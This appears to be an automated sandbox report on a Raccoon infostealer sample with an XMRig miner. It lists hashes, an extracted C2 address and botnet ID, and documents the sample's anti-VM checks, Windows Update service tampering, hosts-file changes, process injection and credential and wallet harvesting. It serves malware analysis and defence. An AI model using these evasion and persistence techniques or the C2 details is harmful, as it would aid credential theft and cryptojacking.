raccoon | aef9a431c2c2d80a9026e9bac2fdddad7a2c9e2dccb7b094034e704890dd1ca3

Analysis

max time kernel
300s
max time network
266s
platform
windows10-1703_x64
resource
win10-20220901-en
resource tags

arch:x64arch:x86image:win10-20220901-enlocale:en-usos:windows10-1703-x64system
submitted
03-10-2022 03:58

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

aef9a431c2c2d80a9026e9bac2fdddad7a2c9e2dccb7b094034e704890dd1ca3.exe
Size

345KB
MD5

81f64aa51d334df32af477937bcaa229
SHA1

96dee5c07ad3285d45b4120481a8ada23a0619a4
SHA256

aef9a431c2c2d80a9026e9bac2fdddad7a2c9e2dccb7b094034e704890dd1ca3
SHA512

cf2378eb0aba4d9276c3068415d7824af4c1fc97155894007bb01c6abe6f25199f48226ef67cd14bd660d2bb69fd75010c7b631515a385a466f446e8010d5ce5
SSDEEP

6144:26S1ZVdum8KDJUOER/YMT8yC4ohO6BV3Cz+WEmCQRjsMYo9TKV9RqvP:EPecUOIYyC4oSz+WEORjsDo9TM9Rqv

Score

10^/10

raccoon xmrig da1ba149e19b3857d89846c73b541f1f evasion miner spyware stealer themida trojan upx

Malware Config

Extracted

Family

raccoon

Botnet

da1ba149e19b3857d89846c73b541f1f

http://135.148.104.11/

rc4.plain

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Raccoon
Raccoon is an infostealer written in C++ and first seen in 2019.
stealer raccoon
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

setup.exesetup1.exeupdater.exeMoUSO.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	setup1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updater.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	MoUSO.exe

XMRig Miner payload 2 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/5680-1084-0x00007FF679F20000-0x00007FF67A714000-memory.dmp	xmrig
behavioral2/memory/5680-1087-0x00007FF679F20000-0x00007FF67A714000-memory.dmp	xmrig

Blocklisted process makes network request 1 IoCs

Processes:

WScript.exe

flow pid process

18 5016 WScript.exe
Downloads MZ/PE file
Drops file in Drivers directory 2 IoCs

Processes:

setup.exeupdater.exe

description ioc process

File created C:\Windows\system32\drivers\etc\hosts setup.exe
File created C:\Windows\system32\drivers\etc\hosts updater.exe
Executes dropped EXE 6 IoCs

Processes:

setup.exesetup1.exeupdater.exesetup11.exe11.exeMoUSO.exe

pid process

4120 setup.exe
4312 setup1.exe
2812 updater.exe
3532 setup11.exe
300 11.exe
5184 MoUSO.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

flow	pid	process
18	5016	WScript.exe

description	ioc	process
File created	C:\Windows\system32\drivers\etc\hosts	setup.exe
File created	C:\Windows\system32\drivers\etc\hosts	updater.exe

pid	process
4120	setup.exe
4312	setup1.exe
2812	updater.exe
3532	setup11.exe
300	11.exe
5184	MoUSO.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/5680-1084-0x00007FF679F20000-0x00007FF67A714000-memory.dmp	upx
behavioral2/memory/5680-1087-0x00007FF679F20000-0x00007FF67A714000-memory.dmp	upx

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

setup1.exeupdater.exeMoUSO.exesetup.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	setup1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	setup1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	MoUSO.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	MoUSO.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	setup.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

setup1.exeMoUSO.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000\Software\Wine	setup1.exe
Key opened	\REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000\Software\Wine	MoUSO.exe

Loads dropped DLL 3 IoCs

Processes:

AppLaunch.exe

pid process

92988 AppLaunch.exe
92988 AppLaunch.exe
92988 AppLaunch.exe

pid	process
92988	AppLaunch.exe
92988	AppLaunch.exe
92988	AppLaunch.exe

Themida packer 15 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\setup.exe	themida
behavioral2/memory/4120-128-0x00007FF7C5DB0000-0x00007FF7C6AB0000-memory.dmp	themida
behavioral2/memory/4120-129-0x00007FF7C5DB0000-0x00007FF7C6AB0000-memory.dmp	themida
behavioral2/memory/4120-130-0x00007FF7C5DB0000-0x00007FF7C6AB0000-memory.dmp	themida
behavioral2/memory/4120-132-0x00007FF7C5DB0000-0x00007FF7C6AB0000-memory.dmp	themida
behavioral2/memory/4120-133-0x00007FF7C5DB0000-0x00007FF7C6AB0000-memory.dmp	themida
behavioral2/memory/4120-134-0x00007FF7C5DB0000-0x00007FF7C6AB0000-memory.dmp	themida
behavioral2/memory/4120-149-0x00007FF7C5DB0000-0x00007FF7C6AB0000-memory.dmp	themida
C:\Users\Admin\AppData\Local\Temp\setup.exe	themida
behavioral2/memory/4120-327-0x00007FF7C5DB0000-0x00007FF7C6AB0000-memory.dmp	themida
C:\Program Files\Google\Chrome\updater.exe	themida
behavioral2/memory/2812-351-0x00007FF71BA80000-0x00007FF71C780000-memory.dmp	themida
behavioral2/memory/2812-576-0x00007FF71BA80000-0x00007FF71C780000-memory.dmp	themida
C:\Program Files\Google\Chrome\updater.exe	themida
behavioral2/memory/2812-1082-0x00007FF71BA80000-0x00007FF71C780000-memory.dmp	themida

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

setup.exeupdater.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	setup.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in System32 directory 3 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

setup.exesetup1.exeupdater.exeMoUSO.exe

pid process

4120 setup.exe
4312 setup1.exe
2812 updater.exe
5184 MoUSO.exe

pid	process
4120	setup.exe
4312	setup1.exe
2812	updater.exe
5184	MoUSO.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

aef9a431c2c2d80a9026e9bac2fdddad7a2c9e2dccb7b094034e704890dd1ca3.exe11.exeupdater.exe

description	pid	process	target process
PID 2692 set thread context of 2660	2692	aef9a431c2c2d80a9026e9bac2fdddad7a2c9e2dccb7b094034e704890dd1ca3.exe	RegSvcs.exe
PID 300 set thread context of 92988	300	11.exe	AppLaunch.exe
PID 2812 set thread context of 5520	2812	updater.exe	conhost.exe
PID 2812 set thread context of 5680	2812	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

cmd.execmd.exesetup.exeupdater.exe

description	ioc	process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	setup.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

204 sc.exe
3768 sc.exe
4992 sc.exe
4912 sc.exe
4564 sc.exe
2280 sc.exe
324 sc.exe
5048 sc.exe
4308 sc.exe
4788 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

508 schtasks.exe

pid	process
204	sc.exe
3768	sc.exe
4992	sc.exe
4912	sc.exe
4564	sc.exe
2280	sc.exe
324	sc.exe
5048	sc.exe
4308	sc.exe
4788	sc.exe

pid	process
508	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe

Modifies registry class 1 IoCs

Processes:

setup11.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings setup11.exe
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.

Processes:

description flow ioc

HTTP User-Agent header 18 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings	setup11.exe

description	flow	ioc
HTTP User-Agent header	18	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exesetup1.exepowershell.exepowershell.exepowershell.exepowershell.exeMoUSO.exe

pid	process
2344	powershell.exe
2344	powershell.exe
4312	setup1.exe
4312	setup1.exe
2344	powershell.exe
4728	powershell.exe
4728	powershell.exe
4728	powershell.exe
928	powershell.exe
928	powershell.exe
928	powershell.exe
92544	powershell.exe
92544	powershell.exe
92544	powershell.exe
1556	powershell.exe
1556	powershell.exe
1556	powershell.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe
5184	MoUSO.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

636

pid	process
636

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exe

description	pid	process
Token: SeDebugPrivilege	2344	powershell.exe
Token: SeIncreaseQuotaPrivilege	2344	powershell.exe
Token: SeSecurityPrivilege	2344	powershell.exe
Token: SeTakeOwnershipPrivilege	2344	powershell.exe
Token: SeLoadDriverPrivilege	2344	powershell.exe
Token: SeSystemProfilePrivilege	2344	powershell.exe
Token: SeSystemtimePrivilege	2344	powershell.exe
Token: SeProfSingleProcessPrivilege	2344	powershell.exe
Token: SeIncBasePriorityPrivilege	2344	powershell.exe
Token: SeCreatePagefilePrivilege	2344	powershell.exe
Token: SeBackupPrivilege	2344	powershell.exe
Token: SeRestorePrivilege	2344	powershell.exe
Token: SeShutdownPrivilege	2344	powershell.exe
Token: SeDebugPrivilege	2344	powershell.exe
Token: SeSystemEnvironmentPrivilege	2344	powershell.exe
Token: SeRemoteShutdownPrivilege	2344	powershell.exe
Token: SeUndockPrivilege	2344	powershell.exe
Token: SeManageVolumePrivilege	2344	powershell.exe
Token: 33	2344	powershell.exe
Token: 34	2344	powershell.exe
Token: 35	2344	powershell.exe
Token: 36	2344	powershell.exe
Token: SeShutdownPrivilege	4704	powercfg.exe
Token: SeCreatePagefilePrivilege	4704	powercfg.exe
Token: SeDebugPrivilege	4728	powershell.exe
Token: SeShutdownPrivilege	4940	powercfg.exe
Token: SeCreatePagefilePrivilege	4940	powercfg.exe
Token: SeShutdownPrivilege	5108	powercfg.exe
Token: SeCreatePagefilePrivilege	5108	powercfg.exe
Token: SeShutdownPrivilege	3272	powercfg.exe
Token: SeCreatePagefilePrivilege	3272	powercfg.exe
Token: SeIncreaseQuotaPrivilege	4728	powershell.exe
Token: SeSecurityPrivilege	4728	powershell.exe
Token: SeTakeOwnershipPrivilege	4728	powershell.exe
Token: SeLoadDriverPrivilege	4728	powershell.exe
Token: SeSystemProfilePrivilege	4728	powershell.exe
Token: SeSystemtimePrivilege	4728	powershell.exe
Token: SeProfSingleProcessPrivilege	4728	powershell.exe
Token: SeIncBasePriorityPrivilege	4728	powershell.exe
Token: SeCreatePagefilePrivilege	4728	powershell.exe
Token: SeBackupPrivilege	4728	powershell.exe
Token: SeRestorePrivilege	4728	powershell.exe
Token: SeShutdownPrivilege	4728	powershell.exe
Token: SeDebugPrivilege	4728	powershell.exe
Token: SeSystemEnvironmentPrivilege	4728	powershell.exe
Token: SeRemoteShutdownPrivilege	4728	powershell.exe
Token: SeUndockPrivilege	4728	powershell.exe
Token: SeManageVolumePrivilege	4728	powershell.exe
Token: 33	4728	powershell.exe
Token: 34	4728	powershell.exe
Token: 35	4728	powershell.exe
Token: 36	4728	powershell.exe
Token: SeIncreaseQuotaPrivilege	4728	powershell.exe
Token: SeSecurityPrivilege	4728	powershell.exe
Token: SeTakeOwnershipPrivilege	4728	powershell.exe
Token: SeLoadDriverPrivilege	4728	powershell.exe
Token: SeSystemProfilePrivilege	4728	powershell.exe
Token: SeSystemtimePrivilege	4728	powershell.exe
Token: SeProfSingleProcessPrivilege	4728	powershell.exe
Token: SeIncBasePriorityPrivilege	4728	powershell.exe
Token: SeCreatePagefilePrivilege	4728	powershell.exe
Token: SeBackupPrivilege	4728	powershell.exe
Token: SeRestorePrivilege	4728	powershell.exe
Token: SeShutdownPrivilege	4728	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

aef9a431c2c2d80a9026e9bac2fdddad7a2c9e2dccb7b094034e704890dd1ca3.exeRegSvcs.exesetup.execmd.execmd.exesetup1.exepowershell.exesetup11.exe

description	pid	process	target process
PID 2692 wrote to memory of 2660	2692	aef9a431c2c2d80a9026e9bac2fdddad7a2c9e2dccb7b094034e704890dd1ca3.exe	RegSvcs.exe
PID 2692 wrote to memory of 2660	2692	aef9a431c2c2d80a9026e9bac2fdddad7a2c9e2dccb7b094034e704890dd1ca3.exe	RegSvcs.exe
PID 2692 wrote to memory of 2660	2692	aef9a431c2c2d80a9026e9bac2fdddad7a2c9e2dccb7b094034e704890dd1ca3.exe	RegSvcs.exe
PID 2692 wrote to memory of 2660	2692	aef9a431c2c2d80a9026e9bac2fdddad7a2c9e2dccb7b094034e704890dd1ca3.exe	RegSvcs.exe
PID 2692 wrote to memory of 2660	2692	aef9a431c2c2d80a9026e9bac2fdddad7a2c9e2dccb7b094034e704890dd1ca3.exe	RegSvcs.exe
PID 2692 wrote to memory of 2660	2692	aef9a431c2c2d80a9026e9bac2fdddad7a2c9e2dccb7b094034e704890dd1ca3.exe	RegSvcs.exe
PID 2692 wrote to memory of 2660	2692	aef9a431c2c2d80a9026e9bac2fdddad7a2c9e2dccb7b094034e704890dd1ca3.exe	RegSvcs.exe
PID 2692 wrote to memory of 2660	2692	aef9a431c2c2d80a9026e9bac2fdddad7a2c9e2dccb7b094034e704890dd1ca3.exe	RegSvcs.exe
PID 2692 wrote to memory of 2660	2692	aef9a431c2c2d80a9026e9bac2fdddad7a2c9e2dccb7b094034e704890dd1ca3.exe	RegSvcs.exe
PID 2692 wrote to memory of 2660	2692	aef9a431c2c2d80a9026e9bac2fdddad7a2c9e2dccb7b094034e704890dd1ca3.exe	RegSvcs.exe
PID 2692 wrote to memory of 2660	2692	aef9a431c2c2d80a9026e9bac2fdddad7a2c9e2dccb7b094034e704890dd1ca3.exe	RegSvcs.exe
PID 2660 wrote to memory of 4120	2660	RegSvcs.exe	setup.exe
PID 2660 wrote to memory of 4120	2660	RegSvcs.exe	setup.exe
PID 2660 wrote to memory of 4312	2660	RegSvcs.exe	setup1.exe
PID 2660 wrote to memory of 4312	2660	RegSvcs.exe	setup1.exe
PID 2660 wrote to memory of 4312	2660	RegSvcs.exe	setup1.exe
PID 4120 wrote to memory of 2344	4120	setup.exe	powershell.exe
PID 4120 wrote to memory of 2344	4120	setup.exe	powershell.exe
PID 4120 wrote to memory of 4180	4120	setup.exe	cmd.exe
PID 4120 wrote to memory of 4180	4120	setup.exe	cmd.exe
PID 4120 wrote to memory of 5028	4120	setup.exe	cmd.exe
PID 4120 wrote to memory of 5028	4120	setup.exe	cmd.exe
PID 4120 wrote to memory of 4728	4120	setup.exe	powershell.exe
PID 4120 wrote to memory of 4728	4120	setup.exe	powershell.exe
PID 4180 wrote to memory of 324	4180	cmd.exe	sc.exe
PID 4180 wrote to memory of 324	4180	cmd.exe	sc.exe
PID 5028 wrote to memory of 4704	5028	cmd.exe	powercfg.exe
PID 5028 wrote to memory of 4704	5028	cmd.exe	powercfg.exe
PID 4180 wrote to memory of 4992	4180	cmd.exe	sc.exe
PID 4180 wrote to memory of 4992	4180	cmd.exe	sc.exe
PID 4180 wrote to memory of 4912	4180	cmd.exe	sc.exe
PID 4180 wrote to memory of 4912	4180	cmd.exe	sc.exe
PID 5028 wrote to memory of 4940	5028	cmd.exe	powercfg.exe
PID 5028 wrote to memory of 4940	5028	cmd.exe	powercfg.exe
PID 4180 wrote to memory of 5048	4180	cmd.exe	sc.exe
PID 4180 wrote to memory of 5048	4180	cmd.exe	sc.exe
PID 5028 wrote to memory of 5108	5028	cmd.exe	powercfg.exe
PID 5028 wrote to memory of 5108	5028	cmd.exe	powercfg.exe
PID 4180 wrote to memory of 4308	4180	cmd.exe	sc.exe
PID 4180 wrote to memory of 4308	4180	cmd.exe	sc.exe
PID 5028 wrote to memory of 3272	5028	cmd.exe	powercfg.exe
PID 5028 wrote to memory of 3272	5028	cmd.exe	powercfg.exe
PID 4180 wrote to memory of 3104	4180	cmd.exe	reg.exe
PID 4180 wrote to memory of 3104	4180	cmd.exe	reg.exe
PID 4180 wrote to memory of 5052	4180	cmd.exe	reg.exe
PID 4180 wrote to memory of 5052	4180	cmd.exe	reg.exe
PID 4180 wrote to memory of 784	4180	cmd.exe	reg.exe
PID 4180 wrote to memory of 784	4180	cmd.exe	reg.exe
PID 4180 wrote to memory of 668	4180	cmd.exe	reg.exe
PID 4180 wrote to memory of 668	4180	cmd.exe	reg.exe
PID 4180 wrote to memory of 660	4180	cmd.exe	reg.exe
PID 4180 wrote to memory of 660	4180	cmd.exe	reg.exe
PID 4312 wrote to memory of 508	4312	setup1.exe	schtasks.exe
PID 4312 wrote to memory of 508	4312	setup1.exe	schtasks.exe
PID 4312 wrote to memory of 508	4312	setup1.exe	schtasks.exe
PID 4120 wrote to memory of 928	4120	setup.exe	powershell.exe
PID 4120 wrote to memory of 928	4120	setup.exe	powershell.exe
PID 928 wrote to memory of 4084	928	powershell.exe	schtasks.exe
PID 928 wrote to memory of 4084	928	powershell.exe	schtasks.exe
PID 2660 wrote to memory of 3532	2660	RegSvcs.exe	setup11.exe
PID 2660 wrote to memory of 3532	2660	RegSvcs.exe	setup11.exe
PID 2660 wrote to memory of 3532	2660	RegSvcs.exe	setup11.exe
PID 3532 wrote to memory of 5016	3532	setup11.exe	WScript.exe
PID 3532 wrote to memory of 5016	3532	setup11.exe	WScript.exe

